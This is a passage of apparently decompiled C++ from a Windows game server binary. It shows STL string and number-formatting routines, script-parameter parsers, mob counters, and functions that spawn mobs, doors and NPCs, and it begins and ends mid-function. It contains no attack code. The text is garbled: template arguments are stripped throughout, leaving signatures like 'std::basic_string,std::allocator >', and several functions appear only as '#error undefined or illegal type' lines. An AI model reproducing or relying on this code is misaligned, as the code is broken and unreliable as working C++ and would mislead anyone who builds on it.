(int)&v5->_Bx; else v15 = *(_DWORD *)v11; v16 = (void *)(v15 + v4); LOBYTE(v4) = _Ch; BYTE1(v4) = _Ch; v17 = v4 << 16; LOWORD(v17) = v4; memset32(v16, v17, _Count >> 2); v18 = (unsigned int)((char *)v16 + 4 * (_Count >> 2)); for ( i = _Count & 3; i; --i ) *(_BYTE *)v18++ = _Ch; v8 = v5->_Myres < 0x10; v5->_Mysize = _Offa; if ( !v8 ) v11 = *(_DWORD *)v11; *(_BYTE *)(_Offa + v11) = 0; } return v5; } this->_Mysize = 0; if ( v7 < 0x10 ) { this->_Bx._Buf[0] = 0; result = this; } else { **(_BYTE **)&this->_Bx._Buf[0] = 0; result = this; } return result; } //----- (004A7BF0) -------------------------------------------------------- std::basic_string,std::allocator > *__thiscall std::basic_string_std::allocator>::append(std::basic_string,std::allocator > *this, unsigned int _Count, char _Ch) { int v3; // ebx@0 std::basic_string,std::allocator > *v4; // esi@1 unsigned int v5; // ebp@4 unsigned int v6; // eax@6 bool v7; // cf@7 bool v8; // zf@7 int v9; // edx@10 std::basic_string,std::allocator > *result; // eax@13 void *v11; // edi@16 int v12; // eax@16 unsigned int v13; // edi@16 unsigned int i; // ecx@16 v4 = this; if ( -1 - this->_Mysize <= _Count ) std::_String_base::_Xlen(&this->baseclass_0.___u0.baseclass_0); if ( !_Count ) return v4; v5 = _Count + this->_Mysize; if ( v5 > 0xFFFFFFFE ) std::_String_base::_Xlen(&this->baseclass_0.___u0.baseclass_0); v6 = this->_Myres; if ( v6 < v5 ) { std::basic_string_std::allocator>::_Copy(this, v5, this->_Mysize); v7 = 0; v8 = v5 == 0; goto LABEL_8; } v7 = 0; v8 = v5 == 0; if ( v5 ) { LABEL_8: if ( !(v7 | v8) ) { if ( v4->_Myres < 0x10 ) v9 = (int)&v4->_Bx; else v9 = *(_DWORD *)&v4->_Bx._Buf[0]; LOBYTE(v3) = _Ch; BYTE1(v3) = _Ch; v11 = (void *)(v9 + v4->_Mysize); v12 = v3 << 16; LOWORD(v12) = v3; memset32(v11, v12, _Count >> 2); v13 = (unsigned int)((char *)v11 + 4 * (_Count >> 2)); for ( i = _Count & 3; i; --i ) *(_BYTE *)v13++ = _Ch; v7 = v4->_Myres < 0x10; v4->_Mysize = v5; if ( !v7 ) { *(_BYTE *)(*(_DWORD *)&v4->_Bx._Buf[0] + v5) = 0; return v4; } v4->_Bx._Buf[v5] = 0; } return v4; } this->_Mysize = 0; if ( v6 < 0x10 ) { this->_Bx._Buf[0] = 0; result = this; } else { **(_BYTE **)&this->_Bx._Buf[0] = 0; result = this; } return result; } //----- (004A7CC0) -------------------------------------------------------- std::ostreambuf_iterator > *__thiscall std::num_put>>::do_put(std::num_put > > *this, std::ostreambuf_iterator > *result, std::ostreambuf_iterator > _Dest, std::ios_base *_Iosbase, char _Fill, long double _Val) { int v6; // eax@1 int v7; // edx@2 signed int v8; // ebp@4 int v9; // ecx@6 long double v10; // st7@6 unsigned int v11; // esi@6 unsigned int v12; // ebx@6 unsigned int v13; // edi@6 char *v14; // eax@17 int v15; // eax@21 int v16; // ecx@21 int v17; // eax@21 int v18; // ecx@22 int v19; // eax@25 std::num_put > > *thisa; // [sp+18h] [bp-7Ch]@1 char _Fmt[8]; // [sp+1Ch] [bp-78h]@17 char _Buf[108]; // [sp+24h] [bp-70h]@25 thisa = this; v6 = _Iosbase->_Prec; if ( v6 <= 0 ) { v7 = _Iosbase->_Fmtfl; if ( !(BYTE1(v7) & 0x20) ) v6 = 6; } v8 = 36; if ( v6 <= 36 ) v8 = v6; v9 = _Iosbase->_Fmtfl; v10 = _Val; v11 = v6 - v8; v12 = 0; v13 = 0; if ( (_Iosbase->_Fmtfl & 0x3000) == 8192 ) { if ( _Val < 0.0 ) v10 = -_Val; for ( ; v10 >= 1.0e35; v12 += 10 ) { if ( v12 >= 0x1388 ) break; v10 = v10 * 1.0e-10; } if ( v10 > 0.0 && (signed int)v11 >= 10 ) { do { if ( v10 > 1.0e-35 ) break; if ( v13 >= 0x1388 ) break; v10 = v10 * 1.0e10; v11 -= 10; v13 += 10; } while ( (signed int)v11 >= 10 ); } } _Fmt[0] = 37; v14 = &_Fmt[1]; if ( v9 & 0x20 ) { _Fmt[1] = 43; v14 = &_Fmt[2]; } if ( v9 & 0x10 ) *v14++ = 35; *v14 = 46; v15 = (int)(v14 + 1); *(_BYTE *)v15++ = 42; *(_BYTE *)v15 = 76; v16 = v9 & 0x3000; v17 = v15 + 1; if ( v16 == 8192 ) { LOBYTE(v18) = 102; } else { LOBYTE(v16) = v16 != 4096; v18 = 2 * v16 + 101; } *(_BYTE *)v17 = v18; *(_BYTE *)(v17 + 1) = 0; v19 = sprintf(_Buf, _Fmt); std::num_put>>::_Fput( thisa, result, _Dest, _Iosbase, _Fill, _Buf, v12, v13, v11, v19); return result; } //----- (004A7E70) -------------------------------------------------------- std::ostreambuf_iterator > *__thiscall std::num_put>>::do_put(std::num_put > > *this, std::ostreambuf_iterator > *result, std::ostreambuf_iterator > _Dest, std::ios_base *_Iosbase, char _Fill, const void *_Val) { std::num_put > > *v6; // esi@1 int v7; // eax@1 char _Buf[64]; // [sp+8h] [bp-44h]@1 v6 = this; v7 = sprintf(_Buf, "%p"); std::num_put>>::_Iput( v6, result, _Dest, _Iosbase, _Fill, _Buf, v7); return result; } //----- (004A7ED0) -------------------------------------------------------- std::basic_string,std::allocator > *__thiscall std::numpunct::do_grouping(std::numpunct *this, std::basic_string,std::allocator > *result) { std::basic_string_std::allocator>::basic_string_std::allocator>( result, this->_Grouping); return result; } //----- (004A7EF0) -------------------------------------------------------- std::basic_string,std::allocator > *__thiscall std::numpunct::do_falsename(std::numpunct *this, std::basic_string,std::allocator > *result) { const char *v2; // ecx@1 v2 = this->_Falsename; result->_Myres = 15; result->_Mysize = 0; result->_Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(result, v2, strlen(v2)); return result; } //----- (004A7F40) -------------------------------------------------------- std::basic_string,std::allocator > *__thiscall std::numpunct::do_truename(std::numpunct *this, std::basic_string,std::allocator > *result) { const char *v2; // ecx@1 v2 = this->_Truename; result->_Myres = 15; result->_Mysize = 0; result->_Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(result, v2, strlen(v2)); return result; } //----- (004A7F90) -------------------------------------------------------- void __thiscall PineEventScriptNode::ScriptParameterPaser::SetErrorMsg(PineEventScriptNode::ScriptParameterPaser *this, const char *pkErrorMsg) { std::basic_string_std::allocator>::assign( &this->m_strErrorMsg, pkErrorMsg, strlen(pkErrorMsg)); } //----- (004A7FC0) -------------------------------------------------------- std::basic_string,std::allocator > *__thiscall std::basic_stringstream_std::allocator>::str(std::basic_stringstream,std::allocator > *this, std::basic_string,std::allocator > *result) { std::basic_stringbuf_std::allocator>::str( (std::basic_stringbuf,std::allocator > *)&this->___u0.baseclass_0.___u0.baseclass_0.gap8[4], result); return result; } //----- (004A7FE0) -------------------------------------------------------- bool __thiscall PineEventScriptNode::ScriptParameterPaser::GetByObject(PineEventScriptNode::ScriptParameterPaser *this, int nIndex, #325 **rpObj) { PineEventScriptNode::ScriptParameterPaser *v3; // esi@1 std::basic_ostream > *v4; // eax@1 std::basic_ostream > *v5; // eax@1 std::basic_string,std::allocator > *v6; // eax@1 bool v7; // cf@1 const char *v8; // ebp@2 PineScriptToken *v9; // edi@4 int v10; // eax@4 int v11; // esi@4 int v12; // esi@6 unsigned __int16 v14; // ax@14 #325 *v15; // eax@14 std::basic_string,std::allocator > result; // [sp+8h] [bp-B4h]@1 std::basic_stringstream,std::allocator > thisa; // [sp+24h] [bp-98h]@1 int v18; // [sp+B4h] [bp-8h]@1 int v19; // [sp+B8h] [bp-4h]@6 int v20; // [sp+BCh] [bp+0h]@1 v3 = this; std::basic_stringstream_std::allocator>::basic_stringstream_std::allocator>( (std::basic_stringstream,std::allocator > *)((char *)&thisa + 4), 3); v18 = 0; v4 = std::operator<<_std::allocator>( (std::basic_ostream > *)thisa.___u0.baseclass_0.___u0.baseclass_0.gap8, &v3->m_strErrorMsg); v5 = std::operator<<>(v4, "Parameter Index : "); std::basic_ostream>::operator<<(v5, v20); v6 = std::basic_stringstream_std::allocator>::str(&thisa, &result); v7 = v6->_Myres < 0x10; LOBYTE(v18) = 1; if ( v7 ) v8 = (const char *)&v6->_Bx; else v8 = *(const char **)&v6->_Bx._Buf[0]; v9 = &v3->m_tkn; v10 = ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *, signed int))v3->m_ppExpress[v20]->baseclass_0.vfptr->sa_Calculate)( &v3->m_tkn, v3->m_pPS, 1); v11 = v10 != 0; if ( !v10 ) AssertClass::ac_AssertFail(&shineassert, v8, 0); LOBYTE(v19) = 0; v12 = v11 == 0; if ( *(unsigned int *)&thisa >= 0x10 ) operator delete(*(void **)&result._Bx._Buf[4]); if ( v12 ) { std::basic_stringstream_std::allocator>::str( (std::basic_stringstream,std::allocator > *)((char *)&thisa + 4), (std::basic_string,std::allocator > *)((char *)&result + 4)); if ( *(unsigned int *)&thisa >= 0x10 ) operator delete(*(void **)&result._Bx._Buf[4]); *(_DWORD *)&thisa.___u0.baseclass_0.___u0.baseclass_0.gap0[0] = 15; result._Myres = 0; result._Bx._Buf[4] = 0; goto LABEL_12; } v14 = PineScriptToken::pst_GetNumber(v9, 0); v15 = ShineObjectManager::som_GetObject(&shineobjmanager, v14); *rpObj = v15; if ( !v15 ) { LABEL_12: v19 = -1; std::basic_stringstream_std::allocator>::_basic_stringstream_std::allocator>((std::basic_stringstream,std::allocator > *)((char *)&thisa + 88)); *(_DWORD *)&thisa.gap54[4] = &std::basic_ios>::_vftable_; std::ios_base::_ios_base((std::ios_base *)&thisa.gap54[4]); return 0; } v19 = -1; std::basic_stringstream_std::allocator>::_basic_stringstream_std::allocator>((std::basic_stringstream,std::allocator > *)((char *)&thisa + 88)); *(_DWORD *)&thisa.gap54[4] = &std::basic_ios>::_vftable_; std::ios_base::_ios_base((std::ios_base *)&thisa.gap54[4]); return 1; } // 5BD8FC: using guessed type int (__thiscall *std__basic_ios_char_std__char_traits_char_____vftable_)(void *p, char); //----- (004A8190) -------------------------------------------------------- bool __thiscall PineEventScriptNode::ScriptParameterPaser::GetByDWARD(PineEventScriptNode::ScriptParameterPaser *this, int nIndex, unsigned int *rDWARD) { PineEventScriptNode::ScriptParameterPaser *v3; // esi@1 std::basic_ostream > *v4; // eax@1 std::basic_ostream > *v5; // eax@1 std::basic_string,std::allocator > *v6; // eax@1 bool v7; // cf@1 const char *v8; // ebp@2 PineScriptToken *v9; // edi@4 int v10; // eax@4 int v11; // esi@4 int v12; // esi@6 bool v13; // al@11 std::basic_string,std::allocator > result; // [sp+8h] [bp-B4h]@1 std::basic_stringstream,std::allocator > thisa; // [sp+24h] [bp-98h]@1 int v16; // [sp+B4h] [bp-8h]@1 int v17; // [sp+B8h] [bp-4h]@6 int v18; // [sp+BCh] [bp+0h]@1 v3 = this; std::basic_stringstream_std::allocator>::basic_stringstream_std::allocator>( (std::basic_stringstream,std::allocator > *)((char *)&thisa + 4), 3); v16 = 0; v4 = std::operator<<_std::allocator>( (std::basic_ostream > *)thisa.___u0.baseclass_0.___u0.baseclass_0.gap8, &v3->m_strErrorMsg); v5 = std::operator<<>(v4, "Parameter Index : "); std::basic_ostream>::operator<<(v5, v18); v6 = std::basic_stringstream_std::allocator>::str(&thisa, &result); v7 = v6->_Myres < 0x10; LOBYTE(v16) = 1; if ( v7 ) v8 = (const char *)&v6->_Bx; else v8 = *(const char **)&v6->_Bx._Buf[0]; v9 = &v3->m_tkn; v10 = ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *, signed int))v3->m_ppExpress[v18]->baseclass_0.vfptr->sa_Calculate)( &v3->m_tkn, v3->m_pPS, 1); v11 = v10 != 0; if ( !v10 ) AssertClass::ac_AssertFail(&shineassert, v8, 0); LOBYTE(v17) = 0; v12 = v11 == 0; if ( *(unsigned int *)&thisa >= 0x10 ) operator delete(*(void **)&result._Bx._Buf[4]); if ( v12 ) { std::basic_stringstream_std::allocator>::str( (std::basic_stringstream,std::allocator > *)((char *)&thisa + 4), (std::basic_string,std::allocator > *)((char *)&result + 4)); if ( *(unsigned int *)&thisa >= 0x10 ) operator delete(*(void **)&result._Bx._Buf[4]); *(_DWORD *)&thisa.___u0.baseclass_0.___u0.baseclass_0.gap0[0] = 15; result._Myres = 0; result._Bx._Buf[4] = 0; v17 = -1; std::basic_stringstream_std::allocator>::_basic_stringstream_std::allocator>((std::basic_stringstream,std::allocator > *)((char *)&thisa + 88)); *(_DWORD *)&thisa.gap54[4] = &std::basic_ios>::_vftable_; std::ios_base::_ios_base((std::ios_base *)&thisa.gap54[4]); v13 = 0; } else { *rDWARD = PineScriptToken::pst_GetNumber(v9, 0); v17 = -1; std::basic_stringstream_std::allocator>::_basic_stringstream_std::allocator>((std::basic_stringstream,std::allocator > *)((char *)&thisa + 88)); *(_DWORD *)&thisa.gap54[4] = &std::basic_ios>::_vftable_; std::ios_base::_ios_base((std::ios_base *)&thisa.gap54[4]); v13 = 1; } return v13; } // 5BD8FC: using guessed type int (__thiscall *std__basic_ios_char_std__char_traits_char_____vftable_)(void *p, char); //----- (004A8330) -------------------------------------------------------- bool __thiscall PineEventScriptNode::ScriptParameterPaser::GetByString(PineEventScriptNode::ScriptParameterPaser *this, int nIndex, std::basic_string,std::allocator > *rstrchar) { PineEventScriptNode::ScriptParameterPaser *v3; // esi@1 std::basic_ostream > *v4; // eax@1 std::basic_ostream > *v5; // eax@1 std::basic_string,std::allocator > *v6; // eax@1 bool v7; // cf@1 const char *v8; // ebp@2 const char *v9; // edi@4 int v10; // eax@4 int v11; // esi@4 int v12; // esi@6 bool v13; // al@11 std::basic_string,std::allocator > result; // [sp+8h] [bp-B4h]@1 std::basic_stringstream,std::allocator > thisa; // [sp+24h] [bp-98h]@1 int v16; // [sp+B4h] [bp-8h]@1 int v17; // [sp+B8h] [bp-4h]@6 int v18; // [sp+BCh] [bp+0h]@1 v3 = this; std::basic_stringstream_std::allocator>::basic_stringstream_std::allocator>( (std::basic_stringstream,std::allocator > *)((char *)&thisa + 4), 3); v16 = 0; v4 = std::operator<<_std::allocator>( (std::basic_ostream > *)thisa.___u0.baseclass_0.___u0.baseclass_0.gap8, &v3->m_strErrorMsg); v5 = std::operator<<>(v4, "Parameter Index : "); std::basic_ostream>::operator<<(v5, v18); v6 = std::basic_stringstream_std::allocator>::str(&thisa, &result); v7 = v6->_Myres < 0x10; LOBYTE(v16) = 1; if ( v7 ) v8 = (const char *)&v6->_Bx; else v8 = *(const char **)&v6->_Bx._Buf[0]; v9 = (const char *)&v3->m_tkn; v10 = ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *, signed int))v3->m_ppExpress[v18]->baseclass_0.vfptr->sa_Calculate)( &v3->m_tkn, v3->m_pPS, 1); v11 = v10 != 0; if ( !v10 ) AssertClass::ac_AssertFail(&shineassert, v8, 0); LOBYTE(v17) = 0; v12 = v11 == 0; if ( *(unsigned int *)&thisa >= 0x10 ) operator delete(*(void **)&result._Bx._Buf[4]); if ( v12 ) { std::basic_stringstream_std::allocator>::str( (std::basic_stringstream,std::allocator > *)((char *)&thisa + 4), (std::basic_string,std::allocator > *)((char *)&result + 4)); if ( *(unsigned int *)&thisa >= 0x10 ) operator delete(*(void **)&result._Bx._Buf[4]); *(_DWORD *)&thisa.___u0.baseclass_0.___u0.baseclass_0.gap0[0] = 15; result._Myres = 0; result._Bx._Buf[4] = 0; v17 = -1; std::basic_stringstream_std::allocator>::_basic_stringstream_std::allocator>((std::basic_stringstream,std::allocator > *)((char *)&thisa + 88)); *(_DWORD *)&thisa.gap54[4] = &std::basic_ios>::_vftable_; std::ios_base::_ios_base((std::ios_base *)&thisa.gap54[4]); v13 = 0; } else { std::basic_string_std::allocator>::assign(rstrchar, v9, strlen(v9)); v17 = -1; std::basic_stringstream_std::allocator>::_basic_stringstream_std::allocator>((std::basic_stringstream,std::allocator > *)((char *)&thisa + 88)); *(_DWORD *)&thisa.gap54[4] = &std::basic_ios>::_vftable_; std::ios_base::_ios_base((std::ios_base *)&thisa.gap54[4]); v13 = 1; } return v13; } // 5BD8FC: using guessed type int (__thiscall *std__basic_ios_char_std__char_traits_char_____vftable_)(void *p, char); //----- (004A84E0) -------------------------------------------------------- #error "4A84E0: undefined or illegal type '#325' (funcsize=16)" //----- (004A8520) -------------------------------------------------------- void __thiscall AxialListMobCounter::_AxialListMobCounter(AxialListMobCounter *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListMobCounter::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)this); } // 5BDE70: using guessed type int (__stdcall *AxialListMobCounter___vftable_[3])(int, int, int distancesquar); //----- (004A8530) -------------------------------------------------------- #error "4A8530: undefined or illegal type '#585' (funcsize=66)" //----- (004A8600) -------------------------------------------------------- void __thiscall AxialListMobInAreaCounter::_AxialListMobInAreaCounter(AxialListMobInAreaCounter *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListMobInAreaCounter::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)this); } // 5BDE74: using guessed type int (__stdcall *AxialListMobInAreaCounter___vftable_[2])(int, int, int distancesquar); //----- (004A8610) -------------------------------------------------------- void __thiscall AxialListObjectList::_AxialListObjectList(AxialListObjectList *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListObjectList::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)this); } // 5BDE78: using guessed type int (__stdcall *AxialListObjectList___vftable_)(int, int, int distancesquar); //----- (004A8620) -------------------------------------------------------- #error "4A8620: undefined or illegal type '#325' (funcsize=60)" //----- (004A86F0) -------------------------------------------------------- #error "4A86F0: undefined or illegal type '#325' (funcsize=53)" //----- (004A87B0) -------------------------------------------------------- void __thiscall AxialListKQResult::alkqr_CalcScore(AxialListKQResult *this) { AxialListKQResult *v1; // ebp@1 int v2; // ebx@1 char *v3; // esi@2 int v4; // edi@3 int v5; // eax@3 v1 = this; v2 = 0; if ( this->alkqr_Pointer > 0 ) { v3 = (char *)&this->alkqr_Array[0].scorestr.flag; do { v4 = *((_DWORD *)v3 - 5); *v3 &= 0x80u; *v3 = ((unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1960))(v4) << 7) | *v3 & 0x7F; v5 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1160))(v4); v3[1] = (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 40))(v5); ++v2; v3 += 48; } while ( v2 < v1->alkqr_Pointer ); } } //----- (004A8810) -------------------------------------------------------- int __cdecl AxialListKQResult::alkqr_ScoreCompare(const void *a, const void *b) { return *((_DWORD *)b + 11) - *((_DWORD *)a + 11); } //----- (004A8820) -------------------------------------------------------- #error "4A8820: undefined or illegal type '#585' (funcsize=31)" //----- (004A8890) -------------------------------------------------------- #325 *__thiscall ScriptMobBreeder::smb_ShineObject(ScriptMobBreeder *this, PineScriptStack::ProcessStack *ps, unsigned __int16 objhnd) { #325 *v3; // esi@1 #325 *result; // eax@2 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ScriptMobBreeder::smb_ShineObject"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptMobBreeder::smb_ShineObject"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = ShineObjectManager::som_GetObject(&shineobjmanager, objhnd); if ( v3 != 0 ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ScriptMobBreeder::smb_ShineObject"); result = v3; } else { AssertClass::ac_AssertFail(&shineassert, "ScriptMobBreeder::smb_ShineObject : NO Object", 1); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ScriptMobBreeder::smb_ShineObject"); result = 0; } return result; } //----- (004A8980) -------------------------------------------------------- #error "4A8980: undefined or illegal type '#325' (funcsize=281)" //----- (004A8DE0) -------------------------------------------------------- #error "4A8DE0: undefined or illegal type '#325' (funcsize=204)" //----- (004A9110) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineMobRegen::sfb_Calculate(PineEventScriptNode::SysFuncShineMobRegen *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist) { #325 *v4; // eax@1 PineScriptToken *result; // eax@2 PineScriptToken *v6; // eax@6 PineScriptToken *v7; // eax@6 PineScriptToken *v8; // esi@6 int v9; // [sp-Ch] [bp-20h]@4 int mobhnd; // [sp+0h] [bp-14h]@1 FunctionEntarance _; // [sp+4h] [bp-10h]@1 int v12; // [sp+10h] [bp-4h]@1 _.fe_FunctionCode = "PineEventScriptNode::SysFuncShineMobRegen::sfb_Calculate"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineMobRegen::sfb_Calculate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::SysFuncShineMobRegen::sfb_Calculate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v12 = 0; v4 = ShineObjectManager::som_AllocObject(&shineobjmanager, (unsigned __int16 *)&mobhnd, 5u); if ( v4 ) { if ( ScriptMobBreeder::smb_ObjectRegen(&mobbreeder, ps, v4, mobhnd, argumentlist) ) { v9 = (unsigned __int16)mobhnd; } else { List::l_Free((List *)&shineobjmanager, mobhnd); v9 = 65535; } v6 = PineScriptToken::pst_Clear(buffer); v7 = PineScriptToken::pst_MergeNumber(v6, v9); --funcallanalizer.fca_stackpoint; v12 = -1; v8 = v7; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineMobRegen::sfb_Calculate"); result = v8; } else { AssertClass::ac_AssertFail( &shineassert, "PineEventScriptNode::SysFuncShineMobRegen::sfb_Calculate : Too many mob", 0); --funcallanalizer.fca_stackpoint; v12 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineMobRegen::sfb_Calculate"); result = 0; } return result; } //----- (004A9250) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineDoorBuild::sfb_Calculate(PineEventScriptNode::SysFuncShineDoorBuild *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist) { #325 *v4; // eax@1 PineScriptToken *result; // eax@2 PineScriptToken *v6; // eax@6 PineScriptToken *v7; // eax@6 PineScriptToken *v8; // esi@6 int v9; // [sp-Ch] [bp-20h]@4 int mobhnd; // [sp+0h] [bp-14h]@1 FunctionEntarance _; // [sp+4h] [bp-10h]@1 int v12; // [sp+10h] [bp-4h]@1 _.fe_FunctionCode = "PineEventScriptNode::SysFuncShineDoorBuild::sfb_Calculate"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineDoorBuild::sfb_Calculate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::SysFuncShineDoorBuild::sfb_Calculate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v12 = 0; v4 = ShineObjectManager::som_AllocObject(&shineobjmanager, (unsigned __int16 *)&mobhnd, 7u); if ( v4 ) { if ( ScriptMobBreeder::smb_ObjectRegen(&mobbreeder, ps, v4, mobhnd, argumentlist) ) { v9 = (unsigned __int16)mobhnd; } else { List::l_Free((List *)&shineobjmanager, mobhnd); v9 = 65535; } v6 = PineScriptToken::pst_Clear(buffer); v7 = PineScriptToken::pst_MergeNumber(v6, v9); --funcallanalizer.fca_stackpoint; v12 = -1; v8 = v7; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineDoorBuild::sfb_Calculate"); result = v8; } else { AssertClass::ac_AssertFail( &shineassert, "PineEventScriptNode::SysFuncShineDoorBuild::sfb_Calculate : Too many mob", 0); --funcallanalizer.fca_stackpoint; v12 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineDoorBuild::sfb_Calculate"); result = 0; } return result; } //----- (004A9390) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineNPCStand::sfb_Calculate(PineEventScriptNode::SysFuncShineNPCStand *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist) { #325 *v4; // eax@1 PineScriptToken *result; // eax@2 PineScriptToken *v6; // eax@6 PineScriptToken *v7; // eax@6 PineScriptToken *v8; // esi@6 int v9; // [sp-Ch] [bp-20h]@4 int mobhnd; // [sp+0h] [bp-14h]@1 FunctionEntarance _; // [sp+4h] [bp-10h]@1 int v12; // [sp+10h] [bp-4h]@1 _.fe_FunctionCode = "PineEventScriptNode::SysFuncShineNPCStand::sfb_Calculate"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineNPCStand::sfb_Calculate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::SysFuncShineNPCStand::sfb_Calculate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v12 = 0; v4 = ShineObjectManager::som_AllocObject(&shineobjmanager, (unsigned __int16 *)&mobhnd, 4u); if ( v4 ) { if ( ScriptMobBreeder::smb_ObjectRegen(&mobbreeder, ps, v4, mobhnd, argumentlist) ) { v9 = (unsigned __int16)mobhnd; } else { List::l_Free((List *)&shineobjmanager, mobhnd); v9 = 65535; } v6 = PineScriptToken::pst_Clear(buffer); v7 = PineScriptToken::pst_MergeNumber(v6, v9); --funcallanalizer.fca_stackpoint; v12 = -1; v8 = v7; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineNPCStand::sfb_Calculate"); result = v8; } else { AssertClass::ac_AssertFail( &shineassert, "PineEventScriptNode::SysFuncShineNPCStand::sfb_Calculate : Too many mob", 0); --funcallanalizer.fca_stackpoint; v12 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineNPCStand::sfb_Calculate"); result = 0; } return result; } //----- (004A94D0) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineChange2Mob::sfb_Calculate(PineEventScriptNode::SysFuncShineChange2Mob *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist) { #325 *v4; // eax@1 PineScriptToken *result; // eax@2 PineScriptToken *v6; // eax@6 PineScriptToken *v7; // eax@6 PineScriptToken *v8; // esi@6 int v9; // [sp-Ch] [bp-20h]@4 int mobhnd; // [sp+0h] [bp-14h]@1 FunctionEntarance _; // [sp+4h] [bp-10h]@1 int v12; // [sp+10h] [bp-4h]@1 _.fe_FunctionCode = "PineEventScriptNode::SysFuncShineChange2Mob::sfb_Calculate"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineChange2Mob::sfb_Calculate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::SysFuncShineChange2Mob::sfb_Calculate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v12 = 0; v4 = ShineObjectManager::som_AllocObject(&shineobjmanager, (unsigned __int16 *)&mobhnd, 5u); if ( v4 ) { if ( ScriptMobBreeder::smb_ObjectChange(&mobbreeder, ps, v4, mobhnd, argumentlist) ) { v9 = (unsigned __int16)mobhnd; } else { List::l_Free((List *)&shineobjmanager, mobhnd); v9 = 65535; } v6 = PineScriptToken::pst_Clear(buffer); v7 = PineScriptToken::pst_MergeNumber(v6, v9); --funcallanalizer.fca_stackpoint; v12 = -1; v8 = v7; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineChange2Mob::sfb_Calculate"); result = v8; } else { AssertClass::ac_AssertFail( &shineassert, "PineEventScriptNode::SysFuncShineChange2Mob::sfb_Calculate : Too many mob", 0); --funcallanalizer.fca_stackpoint; v12 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineChange2Mob::sfb_Calculate"); result = 0; } return result; } //----- (004A9610) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineChange2Door::sfb_Calculate(PineEventScriptNode::SysFuncShineChange2Door *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist) { #325 *v4; // eax@1 PineScriptToken *result; // eax@2 PineScriptToken *v6; // eax@6 PineScriptToken *v7; // eax@6 PineScriptToken *v8; // esi@6 int v9; // [sp-Ch] [bp-20h]@4 int mobhnd; // [sp+0h] [bp-14h]@1 FunctionEntarance _; // [sp+4h] [bp-10h]@1 int v12; // [sp+10h] [bp-4h]@1 _.fe_FunctionCode = "PineEventScriptNode::SysFuncShineChange2Door::sfb_Calculate"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineChange2Door::sfb_Calculate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::SysFuncShineChange2Door::sfb_Calculate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v12 = 0; v4 = 